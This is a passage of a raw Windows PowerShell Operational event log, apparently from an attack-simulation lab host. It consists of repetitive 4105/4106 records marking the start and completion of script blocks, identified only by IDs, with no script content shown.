LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030711
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030710
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030694
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030693
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030688
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030687
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030665
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030664
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030663
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030662
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
